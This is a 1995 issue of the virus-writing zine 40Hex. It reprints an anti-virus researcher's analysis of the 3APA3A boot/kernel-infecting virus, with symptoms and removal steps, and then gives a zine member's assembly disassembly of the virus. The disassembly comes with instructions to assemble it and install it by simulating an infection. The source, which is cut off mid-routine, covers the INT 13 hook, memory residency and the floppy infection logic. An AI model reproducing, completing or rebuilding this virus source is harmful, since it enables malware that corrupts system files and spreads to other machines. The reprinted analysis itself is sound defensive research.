40Hex Number 14 Volume 5 Issue 1                                      File 007

        Virus Spotlight: 3APA3A (ZARAZA)

This is a new virus which has come out of Russia. It has received a lot of
publicity in the virus and anti-virus communities due to the unusual manner
in which it infects. The following article, written by Igor G. Muttik, is a
good description of the virus. A disassembly of the virus follows this text.

        Dark Angel
        Phalcon/Skism '95
---------------------------------
     3APA3A virus -- the first kernel infector.
     ==========================================

     Igor G. Muttik

     Low Temperature Physics Laboratory,
     Physics Department,
     Moscow State University, 117234, Russia

     Phones: +7 095 9391147
             +7 095 3396238
     Email: MIG@lt.phys.msu.su


     KEYWORDS
     --------

     Virus, kernel, boot virus, resident, boot sector, kernel infector.


     ABSTRACT
     --------

     A new virus, which was found in Moscow in the wild is described. It
infects floppy  disks as  a normal boot virus. As against to normal boot
viruses, it  infects DOS kernel file (IO.SYS or IBMBIO.COM, etc.) on the
hard disk. Thus, this virus can be regarded as a representative of a new
virus type  - "kernel  infectors". Description of the virus internals is
given. The  virus structure,  properties  and  behavior  are  discussed.
Details on  the polymorphicity  of 3APA3A  are presented.  Given partial
dumps may  help to  detect and  cure the  virus, but  cannot be  used to
reconstruct it.



     INTRODUCTION
     ------------

     This new  virus appeared  in Moscow  (Russia). It  was found in the
wild in  Moscow 12-14  October 1994.  The virus  was named  "3APA3A" (in
Russian it  stands for some slang form of "INFECTION"). The message with
this string is stored (encrypted) in the body of the virus.

     Size of  the virus is 1024 bytes (exactly two sectors on the floppy
disk or  on the  hard drive). The virus is multipartite: it infects boot
sectors on  the floppy  disks and  DOS core  file  (IO.SYS  for  MS-DOS;
IBMBIO.COM for  PC-DOS; etc.).  Infection of  the floppies is alike many
known boot-sector viruses, but the algorithm of the hard drive infection
is unique.  Therefore, the virus belongs to a new virus class, which was
named "kernel  infectors". The  virus does  not analyze  the name of DOS
core file  and I shall use IO.SYS name below for simplicity (it may also
be IBMBIO.COM  or any other). Once the hard drive has been infected, the
virus activates every time the computer is turned on.

     On the  floppy disk,  the first  half of the virus is stored in the
boot sector.  Original floppy  boot sector  and the  second half  of the
virus are  stored at the very end of the root directory of the diskette.
Thus, when  infecting the  floppy disk,  the virus  overwrites two  last
sectors in its root directory.

     On the  hard drive  the virus  is at  the very beginning of the DOS
core file (IO.SYS. IBMBIO.COM, etc.) -- it takes 1k.



     INFECTION STRATEGY
     ------------------

     After boot from the infected floppy disk, the virus tries to infect
the first file in the root directory of the first DOS partition (usually
it is IO.SYS file). Map of memory usage (at the moment of HDD infection)
is given  in Fig.1.  The virus  uses segment 7C00 (not 7C0!) for its own
buffer (3.5k+sizeof(IO.SYS)).  This segment value -- 7C00 corresponds to
(512k-16k).  Computer   memory  size  equal  to  512k  will  be  usually
insufficient for  normal virus  operation, because size of the core file
(IO.SYS/IBMBIO.COM) exceeds  16k in  most modern  DOS versions. Sizes of
the system  files for  some DOS  versions are given in Fig.2. Therefore,
the virus is hardly viable on the computers without 640k.

     3APA3A virus  assumes that  the active  DOS partition  has  a  boot
sector at  CX=0001, DX=0180  (INT_13 notation:  i.e., 1st  HDD,  head=1,
sector=1). It  tries to infect only this first partition. If active boot
sector is anywhere else - 3APA3A will fail to infect hard disk properly.
The virus does not even read MBR to investigate disk partitioning.

     The virus  can only  infect  the  hard  drive,  if  the  first  DOS
partition is  bigger than 10.6MB (i.e., if it uses 16-bit FAT; the virus
cannot infect  other FAT  types). That was probably done for simplicity,
because it  will be  more difficult  to handle 12-bit FATs (or even both
FAT types).  The author  of the  3APA3A virus, probably, decided to make
the virus  shorter. Fortunately  (for him),  16-bit FATs  are much  more
frequent now  than 12-bit and much easier to handle. Actually, the virus
checks whether  total number  of sectors  in media  (i.e., in  the first
partition) is greater than 5103h or zero. Corresponding fragment of code
is given  in Fig.3.  The comparison  with zero is really needed, because
all partitions, which have more than 65535 sectors (>32MB) carry zero in
this field (and always uses 16-bit FATs).

     3APA3A virus  does  not  check  neither  attributes  of  the  first
directory entry,  nor its  name --  it will even "infect" a subdirectory
entry if  it is located at the very first position in the root directory
of the  hard disk  (that is  possible under  DOS 5.0  or  higher).  When
infecting this first entry, the virus duplicates it (i.e., copies IO.SYS
file cluster chain, duplicates its directory entry and updates the FATs)
and then infects the original IO.SYS file. It also marks this duplicated
directory entry with a volume-label bit. This bit serves as an infection
marker (if  it is  set, 3APA3A  virus decides  that the  hard  drive  is
already infected).  This bit  (when set)  simultaneously  preserves  the
infected IO.SYS  file from  DOS file  access --  all  DOS  file-oriented
functions AH=3Dh,  3Eh, 3Fh,  40h will  skip this  entry. Moreover, this
infected file will be not mentioned in the directory listing, because of
this bit. That looks like a smart non-resident type of stealth virus.

     The virus  reads only  5 sectors of the root directory of the first
DOS partition  (others are ignored). 3APA3A virus makes a root directory
modification using  two shifts (see Fig.4). The first copies entries #3-
#79 to  the location of #4-#80. The second copies #1 (IO.SYS) to #3. The
first shift  erases one  directory entry  (#80, the very last on the 5th
directory sector)  and it  is unrecoverably  lost. If  this entry  was a
subdirectory -- all files in it will become inaccessible. Two shifts are
needed to  guarantee that  the first  two entries  are still  IO.SYS and
MSDOS.SYS. That  is done  by the virus to  achieve maximum compatibility
-- some  old versions  of DOS  (prior to  DOS 5.0)  require  IO.SYS  and
MSDOS.SYS  at  the very  beginning of the root directory  and  the virus
tries to follow this rule.

     After directory modification we have two IO.SYS entries in the root
directory, but  the first is not shown in the directory listing, because
this entry  has volume-label  bit set.  Both mentioned directory entries
point on two copies of IO.SYS. The first IO.SYS (infected) is located in
its old  place and it differs from the original in only first 1024 bytes
(now, after  infection,  it  is  a  virus  itself).  The  second  IO.SYS
directory  entry   points  on  a  clone  of  the  original  IO.SYS  file
(uninfected), which was copied by the virus to the very end of the first
DOS partition.  When copying  original IO.SYS  cluster-by-cluster to the
partition end,  the virus checks whether there is free place on disk (it
reads last  sector of FAT). Scanning this last FAT sector (it represents
256 clusters),  the virus accurately skips used clusters. If there is no
more free  clusters (among  these 256) -- the virus will stop the entire
infection process. But if there is a place for IO.SYS copy -- it will be
created. This second IO.SYS copy at the disk end serves for two purposes
-- as  a source  of the  original IO.SYS  start (1k)  and as a decoy for
scanners  and   integrity  checkers   (they  will   probably  prefer  to
scan/analyse this non-volume-labeled file).

     When computer is turned on, DOS boot sector (which was not modified
by the  virus in  any way,  as well  as a  master boot record MBR) runs.
There is  no DOS  file system  yet and  the program  in the  boot sector
"simply" reads  the root  directory of the hard disk and finds the first
IO.SYS  entry.   This  entry   points  on   the  infected  IO.SYS  file.
Unfortunately, DOS  boot record program ignores volume-label bit, unlike
DOS file  system. Thus, the infected copy of the DOS core file IO.SYS is
started by DOS boot sector at each computer reboot.

     When the  virus gains  control, it  saves itself  in  the  computer
memory (like  a  normal  boot-sector  virus)  --  decreases  the  memory
available to  DOS on  2  kilobytes  (it  changes  the  word  at  address
[0:413]). A  reduction in  DOS memory  is a  usual sign of presence of a
boot virus.  The location  of the  virus in  computer memory  is  easily
calculated. For example, for a normal 640k computer, code segment of the
virus will  be 9F80.  The  virus  intercepts  only  disk  i/o  interrupt
(INT_13).  Now  all  accesses  to  the  floppy  disks  result  in  their
infection. The  virus infects  floppy disks  both in  A: and  B: drives.
Finally, it passes the control to the original IO.SYS.



     INTERNAL VIRUS STRUCTURE
     ------------------------

     The virus  consists of  two parts  (sectors, 512 bytes each). These
two parts  are pretty  independent! The  first (which  is stored  in the
floppy boot  sector) is  responsible for infection of the hard drive (it
checks for  virus presence  on the  hard drive,  copies  IO.SYS  to  the
partition end,  modifies root  directory, updates  all FATs,  makes  new
IO.SYS with  the virus  code  (1k)  at  the  very  start,  makes  IO.SYS
directory entry  with a  volume-label bit set, and calls original floppy
boot sector.  At the  very end  this part  stores the  location  of  the
infected IO.SYS  for future  use of  the second  virus part.  The second
virus sector  (IO_sector) contains  trigger  routine,  message  payload,
resident installer  and INT_13  handler  with  "polymorphic"  encryption
routine.

     The first  virus sector  is in  a boot  sector of  the contaminated
diskette, the  second virus  sector  --  in  the  last  sector  of  root
directory. On the hard disk this sequence is opposite -- infected IO.SYS
is started  with mentioned  second virus  sector (IO_sector),  which  is
followed by a boot sector.

     Therefore, first  virus sector  contains a  program to  infect hard
drive and IO_sector is simply placed into IO.SYS and not executed in any
part. The  IO_sector contains  a program  to infect  floppy disks and it
simply places infected boot sector (after appropriate encryption) on the
floppy disk.

     Two virus  parts (boot sector and IO_sector) work at different time
(first --  only at boot from the infected floppy, second -- only at boot
from the  hard drive) and virus boot sector only once passes a parameter
(DX:AX) to  the IO_sector.  Only one  procedure is  shared by both virus
parts --  which converts  sector# in DX:AX into CX=sec/cyl, DH=head (and
the virus  has to  patch offset in E8 call to this procedure, because it
is located  at different  offset now, not in 0000:7C00, as at boot time;
this procedure is at 7DD3 and/or at 3D3).

     Unlike many other boot sector viruses, 3APA3A encrypts its code (in
a floppy  boot sector).  Moreover, 3APA3A virus is slightly polymorphic,
which is  even more  unusual -- decryptor of the infected boot sector is
variable.   By   the   way,  only  very  few  boot-sector  viruses  have
polymorphic properties.  The dump  of the  virus decryption  routine  is
given in  Fig.5. The  order of instruction is fixed. Random value (word)
is taken  from  BIOS  timer  counter  [0:46C].  There  are  8  types  of
encryption routine  (4 use DI  register, 4  use SI).  Probability of  SI
usage is  3 times  higher, than usage of DI. One can see that the offset
of decryptor's  terminating jump is encrypted with 25% probability (byte
at 7C2B, which is an offset of a conditional jump, is encrypted with the
mentioned probability).  Thus, the  virus decryptor will hang with a 25%
probability on  386 and  486 processors.  Lower processors  (8088-80286)
have a  small queue (8088,80188,V20=4; 8086,80186,V30=6; 80286=8) and it
is not  sufficient to  store whole  decryption cycle  and cause  a hang.
Pentium is free of this problem, because it can detect the access to the
pre-fetched bytes  and flash  the queue.  On 80386-80486  processors the
virus will  hang with  25% probability  when booting from floppy disk if
the JNZ  offset was  encrypted --  data in memory and in processor queue
will become  different during decryption, processor will go into garbage
codes and hang.

     Because of  the encryption, only string like 'MSDOS 5.0' is visible
at the beginning of the boot sector (this string is a reminiscence of an
original boot  sector of  a floppy  disk).  Obviously,  55AA  marker  is
present  at   the  very  end  of  the  boot-sector.  Second  virus  part
(IO_sector), which  is placed  at the  very  last  sector  of  the  root
directory of  the floppy  disk, is not encrypted at all. Its location is
stored inside the code of the first virus sector at the moment of floppy
infection.

     Two bytes  in the  boot sector  are used  as an infection marker --
byte at  offset 18h  must be  zero and byte at 21h must be 2Eh (first is
byte from  BPB, second  -- constant  byte  in  the  decryption  routine,
CS: prefix).  Prior  to  the infection of floppy disk the virus performs
checks whether  this marker  is already  present. If this is the case --
the virus decides that floppy disk is already infected.

     If, occasionally,  you will  place  too  many  files  in  the  root
directory of  the floppy  and the  directory entries  will overwrite the
second virus  sector (IO_sector)  -- this  floppy  disk  will  become  a
carrier of  a damaged virus. If now any hard drive will be infected with
this floppy,  it will become unbootable (start of IO.SYS file will carry
the directory  entries from  the floppy  directory, instead of the virus
body).

     The structure  of the  second virus  sector (IO_sector) is shown in
Fig.6. DOS  boot sector  loads this code (as a part of normal IO.SYS) to
computer memory.  After virus  code (first  1k in IO.SYS) follows normal
IO.SYS image.  The virus  moves its own code (this 1k) to CS=9F80 (for a
normal 640k  PC) and replaces it with an original IO.SYS start. Original
IO.SYS start  is read  from hard disk and its position was stored inside
the virus  body at  the moment  of  hard  drive  infection.  Final  RETF
transfers control to the original IO.SYS image, which was "assembled" in
memory by 3APA3A virus.

     Memory map  usage of  3APA3A virus,  when it  is  resident  in  the
computer memory, is given in Fig.7. When the virus analyses an access to
the floppy  drive, sitting on the INT_13, it does not perform full check
whether boot  sector is  accessed (usually AH=02, CX=0001, DH=0), but it
calculates the  sum DH+CL+CH and decides that boot sector is accessed if
it  is  equal to 1.  That is not very compatible approach (because AH is
ignored  at all)  and  I have found  one  program, which confused 3APA3A
and virus  even tried  to access empty A: and B: drives. This program is
PU_1700.COM --  a resident  BIOS extension  to format/access floppies of
1.44MB size  in a  5.25" high-density  floppy drives.  When  PU_1700  is
loaded with the virus active in memory, both floppy drives turn on their
LEDs.

     Unusual method  is used  by the  virus to  access  original  INT_13
routine from  inside of  virus INT_13 handler. The virus patches its own
program (Fig.8)  -- places JMP instruction near the beginning of its own
handler, i.e.,  it "closes  the window  leaf". Now  the virus  makes  an
INT_13 call  (it is,  obviously, reentrant  call). Upon return from this
call the "window leaf" is opened back (JMP is replaced with JNZ).

     The virus  carries the  following message  --  "B  BOOT  CEKTOPE  -
3APA3A!"  This  string is  in Russian,  and translation  is --  "IN BOOT
SECTOR -  INFECTION!".  Besides  its usual use as "infection/contagion",
"3APA3A"  in   Russian  designates  something  particularly  boring  and
annoying.

     This string  is encrypted  (it is  located  at  offset  9A  in  the
IO_sector of  the virus,  its length  is 1A bytes) and it is not visible
even in  memory. It  will be  printed in  August on each reboot from the
hard  drive   (the  virus  calls  INT_1A/AH=04  and  checks  if  DH=08).
Obviously, the  virus will  never print  the message  on  XT  computers,
because they do not support INT_1A/AH=04 (have no AT-CMOS clock). If the
message is  not printed,  the virus  does not  advertise its presence at
all. It is, therefore, quite difficult to spot.

     Method of  the encryption  of this  string is somewhat unusual (see
Fig. 9). It looks like a "delta"-coding, because the current byte in the
series, when  being added to the previous character code, gives the next
one. The virus message terminates with ASCII codes "07", "0D", "10" (see
Fig.9). First  is a  beep, second  is a carriage return symbol (CR), but
the last is probably cased by a mistype of the virus author. He probably
wanted to  type CR,  LF (normal string terminator), but used hexadecimal
10, instead of decimal (i.e., 10h instead of 0Ah).

     The virus  message is  written in  Russian, but is composed only of
the pure  English ASCII  symbols. The  reason is  simple --  message  is
printed at  boot time, when software Cyrillic character generator is not
yet loaded,  so it  is not  possible to  use Cyrillic  letters. The only
way -- to  compose message  from normal  ASCII letters and digits (digit
"3" represents Russian letter, which sounds like "Z").

     Correct spelling  of the  virus name  --  "3APA3A"  in  Russian  is
"ZARAZA". Here  all "Z"  sound like in "zero" and all "A" sound like "u"
in "cut".

     3APA3A virus carries no special destructive payload.



     3APA3A: TREATMENT AND RUMORS
     ----------------------------

     After infection  of the hard disk the first root directory entry is
always marked  with a volume label bit. Therefore, old disk volume label
will be  not shown  and the  infected hard disk will usually carry label
"IO      SYS" (or  "IBMBIO  COM" for  PC-DOS, etc.). It will be reported
by DIR  and LABEL  command. The most noticeable effect of virus presence
is an unusual disk label.

     This new  "label" is uneraseable and unchangeable even with a LABEL
command. Probably DOS is confused with a strange volume label, which has
a non-zero  length and  it refuses to change it. Unfortunately, DOS even
does not  report that  he fails  to change (delete) the disk label -- no
error or warning message is given.

     First attempt  of an  inexperienced user to remove the virus may be
the usage  of undocumented  FDISK /MBR call, which reinitializes the MBR
program, leaving  partition table  intact. Obviously,  this approach not
works, because  the virus  is not stored in the MBR. Reinitialization of
DOS boot  sector will  not help  too. That  is because copy of the virus
code is neither in MBR, nor in DOS boot sector, but in IO.SYS file.

     The most  reasonable operation  is to  try to get rid of the 3APA3A
virus using SYS C: command. Unfortunately it does not work too! And even
after booting  from the  clean diskette! The reason is obvious -- SYS C:
will modify/remove  the second  copy  of  the  IO.SYS  file  (uninfected
copy!), which is located at the very end of the first DOS partition. The
infected copy  of IO.SYS will not be rewritten, because volume-label bit
preserved it from being recognized by SYS program as a DOS core file.

     CHKDSK (in  MS-DOS) will  always report errors on the infected hard
disk, because  it will  be alarmed  with a  FAT chain,  attached to  the
volume-labeled file.  Note, that  MS-DOS and  DR-DOS behaves differently
with "volume-labeled" files.

     Norton Disk  Doctor (I  tested NDD from Norton Utilities 6.0) gives
no warnings on the contaminated hard disk.

     Note that  many disk  optimizers (like  Norton SpeedDisk) prefer to
place  the  subdirectories in  the very  beginning of the root directory
(it  is possible only  in later versions  of DOS,  probably  starting at
5.00). The virus does not check if IO.SYS is really  the first  entry in
the root directory (only checks volume bit!), so it can  easily take the
first  directory  in  the  root  and regard it as an infectable DOS core
file! Such an attempt to "infect" the hard drive will fail --  the virus
will  perform  all  its  actions,  but  original  IO.SYS will be intact.
Presence  of  duplicated subdirectory (if it was the 1st entry) will not
affect  normal  operation  of   the  computer,  because this  duplicated
subdirectory with volume-label bit  will be ignored by DOS. And original
IO.SYS (placed  by  SpeedDisk somewhere else in the root directory) will
be uninfected. Only CHKDSK will report disk errors.

     The simple  sequence of actions to remove the virus from hard drive
is the following:

     1. Delete  IO.SYS file  (original uninfected copy). You may need to
remove  Hidden/System/Read-Only  attributes  to do that (for example use
Norton Commander).

     2. Remove "Vol" attribute from the infected IO.SYS in the root (you
can  use  Norton DiskEdit to  do this; infected volume-labeled IO.SYS is
the 1st directory entry).

     3. Delete  IO.SYS file  (infected copy).  You may  need  to  remove
Hidden/System/Read-Only attributes to do that (for example use NC).

     4. Run  CHKDSK /F and inspect/remove FILE00xx.CHK if any (some disk
errors may  have been  appeared on the hard disk because of the lost #80
dir entry).

     5. Run SYS C: from the system floppy disk to restore IO.SYS.

Note: Actions 1)-3) can be done with Norton DiskEdit.

     The virus  is very virulent, but we hope that the infection will be
local, because  anti-3APA3A measures  were undertaken shortly. The users
were  notified   about  the  possible  threat  and  anti-virus  programs
appeared, which  are capable  to detect and remove 3APA3A from diskettes
and from the hard drive.

     There is an unconfirmed information that currently available 3APA3A
virus is  actually the  second virus  in the  strain. According  to  the
information from  Russian  anti-virus  circles,  there  was  a  previous
version, which was released in March 1994 and computers in some banks in
Moscow were  contaminated. The  author of 3APA3A virus wrote a couple of
Email  messages,  which  were  delivered  through  Fidonet  without  the
originating address and they had a signature "Gena". Last stands for the
male name. He insisted that there are at least two versions in the wild.
He claimed  that he already created more "powerful" version(s), but they
are still in the "research phase" and not yet in the wild. He also wrote
that his  viruses were  caught with  such a  big delay, that he is fully
contented.  There  is also a rumor that the author of 3APA3A viruses was
forced to delete all his assembler texts by indignant PC users.


     ACKNOWLEDGEMENTS
     ----------------

     I am  acknowledged to VForum members for the fruitful discussion of
3APA3A properties  (especially to  Anthony Naggs,  Vesselin Bontchev and
Paul Ducklin).  I am  also acknowledged  to Igor  Daniloff (SALD, Saint-
Petersburg, Russia).




     FIGURES
     -------

Figure 1.  Map of  memory usage  of 3APA3A  virus, when  the virus  boot
sector is infecting the hard drive.

Address        Size      Function (buffer for)
-------------------------------------------------------
7C00:0000      200h      Hard drive boot sector
7C00:0200      2         AX for INT_13 (0201h, 0301h, etc.)
7C00:0202      1         DH for INT_13 (usually 80h)
7C00:0203      200h      FAT end
7C00:0403      A00h      HDD Root directory, 5 sectors only!
7C00:0E03      200h      FAT start
7C00:1003      2000h     1 cluster of original IO.SYS (*)
7C00:3003      2000h     2 cluster
7C00:5003      2000h     3 cluster
7C00:7003      2000h     4 cluster
7C00:9003      2000h     5 cluster
7C00:B003      2000h     6 cluster
...            ...       ...
7C00:xx03      2000h     last IO.SYS cluster
-------------------------------------------------------
(*) Cluster size was taken 8192 bytes (16 sectors) only for example.
    It may be different according to sectors/cluster ratio.



Figure 2. Sizes of DOS system files for different versions (in bytes).
-------------------------------------------------------------
DOS version    DOS type  IO/IBMBIO MSDOS/IBMDOS   COMMAND.COM
--------------------------------------------------------------
     1.00      PC        2047      6400           4959
     2.00      PC        4907      17411          18160
     3.00      PC        8964      27920          22042
     3.30      MS        22357     30128          25276
     4.00      PC        32810     35984          37637
     4.01      MS        33337     37376          37557
     5.00      MS        33430     37394          47845
     6.20      MS        40566     38138          54500
--------------------------------------------------------------



Figure 3. Virus code fragment, which checks whether partition uses 16
bit FAT or not.

7C75 A11300      MOV     AX,[0013]    ;total sectors in media on HDD
7C78 48          DEC     AX           ;0000 -> FFFF (for big disks!)
7C79 3D0351      CMP     AX,5103      ;16 bit FAT guaranteed!
7C7C 76B1        JBE     7C2F         ;pass control to floppy boot
...



Figure 4.  Modification of  the root directory of first DOS partition by
3APA3A virus:  a) initial  layout, b) after first shift c) after copying
of IO.SYS entry to 3rd position.

    -------------  -------------  -------------
#1  IO.SYS         IO.SYS         IO.SYS -> infected IO.SYS
    -------------  -------------  -------------
#2  MSDOS.SYS      MSDOS.SYS      MSDOS.SYS
    -------------  -------------  -------------
#3  FILE0003.EXT   FILE0003.EXT   IO.SYS -> copy of IO.SYS
    -------------  -------------  -------------
#4  FILE0004.EXT   FILE0003.EXT   FILE0003.EXT
    -------------  -------------  -------------
...
    -------------  -------------  -------------
#79 FILE0079.EXT   FILE0078.EXT   FILE0078.EXT
    -------------  -------------  -------------
#80 FILE0080.EXT   FILE0079.EXT   FILE0079.EXT
    -------------  -------------  -------------

         a)              b)             c)



Figure 5.  The decryptor  of virus  floppy boot sector is polymorphic. A
caret  "^"   symbol  designates   variable  bytes.  Number  in  brackets
corresponds to a comment below.

7C1E BE2C7C        MOV     SI,7C2C      ;starting address
     ^^^^ (1)
7C21 2E            CS:                  ;infection marker! (1 byte of 2)
7C22 800470        ADD     BYTE PTR [SI],70
     ^^^^^^ (2)
7C25 46            INC     SI
     ^^ (3)
7C26 81FEFB7D      CMP     SI,7DFB      ;upper limit ?
       ^^^^ (4)
7C2A 75F5          JNZ     7C21         ;<- JNZ offset may be encrypted
       ^^ (5)
7C2C ...

(1) These two bytes are variable and may be: 2BBE, 2CBE, 2DBE or 2EBF.
    Makes: MOV SI, 7C2B; MOV SI, 7C2C; MOV SI, 7C2D; MOV DI, 7C2E.
    Thus, start of encryption at address: 7C2B, 7C2C, 7C2D, 7C2E
    (with equal probability).

(2) These three bytes are variable:
    F61490 or F61590  NOT   BYTE PTR [SI]    ;or [DI] (3rd byte is 90h)
    8004xx or 8005xx  ADD   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
    802Cxx or 802Dxx  SUB   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)
    8034xx or 8035xx  XOR   BYTE PTR [SI],xx ;or [DI] (3rd byte xx=RND)

(3) This byte may be 46 (INC SI, 75% probability) or
    47 (INC DI, 25% probability)

(4) These two bytes are variable: FAFE, FBFE, FCFE or FDFF.
    Makes: CMP SI,7DFA; CMP SI,7DFB; CMP SI,7DFE; CMP DI,7DFD)

(5) This byte may be encrypted (probability=25%)! And the virus
    will hang on 386, 486 because of processor queue pre-fetch.



Figure 6. Global structure of the virus IO_sector.

0000:7C00      PUSH CS             ;places startCS on stack
               CALL $+3
               POP  SI             ;gets relative position in CS
               SUB  SI,4           ;sizeof(PUSH+CALL)
               PUSH SI             ;places it on stack
                                   ;(startCS:SI=0000:7C00 is on stack)
               PUSH AX/BX/CX/DX/DS/ES
          ---------------------
          |    viral code     |
          ---------------------
          ---------------------
          |    copy virus     |
          |    code to        |
          |    ES=9F80        |
          ---------------------
               PUSH ES             ;ES=9F80
               MOV  AX,006C
               PUSH AX             ;(9F80:006C is on stack now)
               RETF                ;same as JMP 9F80:006C

9F80:006C ---------------------
          |    read 2 sectors |
          |    from original  |
          |    IO.SYS to      |
          |    0000:7C00      |    ;read 1k to startCS:SI=0000:7C00
          |    ...            |
          ---------------------
               POP ES/DS/DX/CX/BX/AX
               RETF                ;same as JMP 0000:7C00



Figure 7.  Map of  memory usage  of 3APA3A virus, when it is resident in
computer memory (CS=9F80 and the virus sets DS=ES=9FA0).

----------------------------------------------------------------------
Address   (same as)      Size      Function
CS:offset DS:offset      (bytes)   (buffer for)
----------------------------------------------------------------------
9F80:0000                200h      IO_sector
9F80:0200 9FA0:0000      200h      Virus boot sector
                                   (used for encryption)
9F80:0400 9FA0:0200      2         0201/0301 (AX for INT_13)
9F80:0402 9FA0:0202      1         0/1 (DL for INT_13)
9F80:041E 9FA0:021E      1E2h      Virus boot sector code (orig. copy)
9F80:0600 9FA0:0400      200h      Current floppy boot sector
----------------------------------------------------------------------
(*) Code segment CS=9F80 was taken for example. That is a location
    of the virus for normal 640k computer (CS=A000-2k).



Figure 8. "Window leaf" in the interrupt 13h function of virus.
Leaf is "closed" at address 00BC and is opened at 00C4.

00B4 A10002      MOV     AX,[0200]    ;may be read and write
00B7 8A160202    MOV     DL,[0202]    ;drive # (0/80)
00BB 2E          CS:
00BC C606E300EB  MOV     BYTE PTR [00E3],EB   ;-> JMP ("close leaf")
00C1 CD13        INT     13
00C3 2E          CS:
00C4 C606E30075  MOV     BYTE PTR [00E3],75   ;-> JNZ ("open leaf")
00C9 7202        JB      00CD
00CB FC          CLD
00CC C3          RET
...
; virus INT_13 handler (usually at 9F80:00D5)
00D5 50          PUSH    AX
00D6 53          PUSH    BX
00D7 51          PUSH    CX
00D8 52          PUSH    DX
00D9 56          PUSH    SI
00DA 57          PUSH    DI
00DB 1E          PUSH    DS
00DC 06          PUSH    ES
00DD 55          PUSH    BP
00DE 8BEC        MOV     BP,SP
00E0 F6C280      TEST    DL,80        ;HDD (1st or 2nd)?
00E3 EBED        JMP     00D2         ;<- see 00C4 & 00BC (set JNZ/JMP)
;here if not HDD
00E5 02F1        ADD     DH,CL
00E7 02F5        ADD     DH,CH
00E9 80FE01      CMP     DH,01        ;DH=CH+CL+DH=1 if boot sector
00EC 77E4        JA      00D2         ;exit from handler
...



Figure 9. The virus code fragment, which prints the message
"B BOOT CEKTOPE - 3APA3A!  <BELL> <0Dh> <10h>"

000F B404        MOV     AH,04          ;get CMOS date
0011 CD1A        INT     1A
0013 80FE08      CMP     DH,08          ;August?
0016 7512        JNZ     002A
0018 8D9C9A00    LEA     BX,[SI+009A]   ;pointer on message
001C B8420E      MOV     AX,0E42        ;tty output, ASCII(42)='B'
001F B91A00      MOV     CX,001A        ;length
;
0022 CD10        INT     10
0024 2E          CS:
0025 0207        ADD     AL,[BX]        ;sum all prev. chars in AL
0027 43          INC     BX             ;increase pointer
0028 E2F8        LOOP    0022

...

009A DE220D0005CC2302    ;this table stores values,
00A2 0609FB01F5DB0DF3    ;which being added to previous char
00AA 130E0FF1F20EE0E6    ;gives new one (smth. like "delta"-coding)
00B2 0603                ;last char has an error - 10h instead of LF
---------------------------------------------------
; To assemble, simple run TASM and TLINK on this file and generate a binary.
; The first 512d bytes of the binary will contain the portion of the virus
; which resides in IO.SYS. The second 512d bytes will contain the boot
; section portion of the virus.

; Installation is slightly more difficult. It requires you to simulate
; an infection with 3apa3a. Read the text above for information. Basically,
; you have to fill in the BPB in the boot sector, fill in the patch values,
; and then move the pieces onto the disk properly.

                .model  tiny
                .code
                .radix  16
                org     0
; 3apa3a virus
; Disassembly by Dark Angel of Phalcon/Skism for 40Hex Issue 14
zero:
_3apa3a:        push    cs
                call    doffset
doffset:        pop     si
                db      83,0EE,4 ; sub si,4
                push    si ax bx cx dx ds es

                mov     ah,4                    ; get date
                int     1Ah

                cmp     dh,8                    ; september?
                jne     no_activate

                lea     bx,cs:[si+message-_3apa3a]
                mov     ax,0E42                 ; begin with B
                mov     cx,endmessage - message
display_loop:   int     10                      ; print character
                add     al,cs:[bx]              ; calculate next character
                inc     bx
                loop    display_loop

no_activate:    cld
                xor     ax,ax                   ; ds = 0
                mov     ds,ax
                push    cs                      ; es = cs
                pop     es
                lea     di,[si+offset old_i13]
                push    si
                mov     si,13*4                 ; grab old int 13 handler
                movsw
                movsw
                mov     ax,ds:413               ; get BIOS memory size
                dec     ax                      ; decrease by 2K
                dec     ax
                mov     ds:413,ax               ; replace the value
                mov     cl,6                    ; convert to paragraphs
                shl     ax,cl
                mov     [si-2],ax               ; replace interrupt handler
                mov     word ptr [si-4],offset i13
                mov     es,ax                   ; move ourselves up
                push    cs
                pop     ds si
                xor     di,di
                mov     cx,200
                push    si
                rep     movsw                   ; copy now!
                inc     ch                      ; cx = 1
                sub     si,200                  ; copy rest
                rep     movsw
                pop     si
                push    cs es
                mov     ax,offset highentry
                push    ax
                retf

highentry:      mov     ax,7C0
                mov     ds,ax
                mov     word ptr ds:200,201
                mov     byte ptr ds:202,80
                les     ax,dword ptr cs:203
                mov     dx,es
                pop     es
                mov     bx,si
                mov     cx,1
                mov     word ptr cs:3C2,0FCF0   ; patch work_on_sectors to call
                call    work_on_sectors         ; do_i13
                pop     es ds dx cx bx ax
                retf

message:        db      ' ' - 'B'
                db      'B' - ' '
                db      'O' - 'B'
                db      'O' - 'O'
                db      'T' - 'O'
                db      ' ' - 'T'
                db      'C' - ' '
                db      'E' - 'C'
                db      'K' - 'E'
                db      'T' - 'K'
                db      'O' - 'T'
                db      'P' - 'O'
                db      'E' - 'P'
                db      ' ' - 'E'
                db      '-' - ' '
                db      ' ' - '-'
                db      '3' - ' '
                db      'A' - '3'
                db      'P' - 'A'
                db      'A' - 'P'
                db      '3' - 'A'
                db      'A' - '3'
                db      '!' - 'A'
                db       7  - '!'
                db      0Dh -  7
                db      10  - 0Dh
endmessage:

do_i13:         mov     ax,ds:200
                mov     dl,ds:202
                mov     byte ptr cs:patch,0EBh  ; jmp absolute
                int     13                      ; do interrupt
                mov     byte ptr cs:patch,75    ; jnz
                jc      retry_error
                cld
                retn

retry_error:    cmp     dl,80                   ; first hard drive?
                je      do_i13                  ; if so, retry
go_exit_i13:    jmp     exit_i13                ; otherwise quit

i13:            push    ax bx cx dx si di ds es bp
                mov     bp,sp
                test    dl,80                   ; hard drive?
patch:          jnz     go_exit_i13

                add     dh,cl                   ; check if working on
                add     dh,ch                   ; boot sector or
                cmp     dh,1                    ; partition table
                ja      go_exit_i13             ; if not, quit

                mov     ax,cs                   ; get our current segment
                add     ax,20                   ; move up 200 bytes
                mov     ds,ax
                mov     es,ax
                mov     word ptr ds:200,201     ; set function to read
                mov     ds:202,dl               ; set drive to hard drive
                mov     bx,400                  ; set buffer
                xor     dx,dx                   ; read in the boot sector
                push    dx
                mov     cx,1
                call    do_i13                  ; read in boot sector

                cmp     byte ptr ds:400+21,2E   ; check if 3apa3a already there
                je      go_exit_i13
                cmp     byte ptr ds:400+18,0
                je      go_exit_i13

                push    cs
                pop     es
                mov     di,203
                mov     si,403
                mov     cx,1Bh                  ; copy disk tables
                cld
                rep     movsb

                sub     si,200                  ; copy the rest
